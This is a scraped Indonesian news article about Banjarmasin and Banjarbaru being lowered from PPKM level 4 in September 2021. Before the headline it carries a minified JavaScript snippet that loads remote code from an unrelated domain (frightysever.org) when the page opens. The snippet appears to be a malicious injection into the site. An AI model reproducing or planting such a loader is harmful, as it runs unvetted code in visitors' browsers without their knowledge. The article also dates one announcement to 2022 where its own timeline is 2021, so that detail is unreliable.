(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Banjarbaru dan Banjarmasin Turun Level PPKM, Benarkah?

KANALKALIMANTAN.COM, BANJARBARU – Ketua Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional, Airlangga Hartanto mengumumkan Banjarmasin dan Banjarbaru turun level dari level 4.

Penurunan level tersebut disampaikannya saat konferensi pers virtual pada Senin (27/9/ 2021). Dalam pengumuman itu, Kota Banjarmasin turun menjadi level 2 dan Kota Banjarbaru menjadi PPKM level 3.

Airlangga menyebut ada sejumlah daerah yang minggu lalu berstatus level 4, kini sudah turun ke level 3 dan 2. Walau sudah turun level, daerah-daerah ini tetap akan memberlakukan kebijakan PPKM level 4 sampai 4 Oktober 2021.

Sebelumnya pada hari Minggu, 20 September 2022, Airlangga merinci 10 daerah yang tersisa di luar Jawa Bali, yang masih berstatus level 4.

Sebanyak 10 daerah ini akan memberlakukan kebijakan PPKM level 4 dari 21 September sampai 4 Oktober 2021.

Daftar 10 daerah tersebut yaitu Aceh Tamiang dan Pidie (Aceh), Bangka (Bangka Belitung), Padang (Sumatera Barat), Banjarbaru dan Banjarmasin (Kalimantan Selatan), Balikpapan dan Kutai Kartanegara (Kalimantan Timur), serta Tarakan dan Bulungan (Kalimantan Utara).

Lalu pada Senin (27/9/2021), Airlangga mengabarkan status 9 daerah yang sudah membaik. Untuk level 3 yaitu Aceh Tamiang, Pidie, Padang, Banjarbaru, Balikpapan. Sementara, level 2 yaitu Banjarmasin, Kutai Kartanegara, Tarakan, dan Bulungan.

Sebelumnya Kota Banjarmasin dan Banjarbaru juga sempat diumumkan secara lisan oleh Airlangga Hartanto turun level dari level 4 beberapa waktu lalu.

Namun saat keluarnya Inmendagri perpanjangan level 4, keduanya justru diinstruksikan perpanjangan PPKM level 4. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk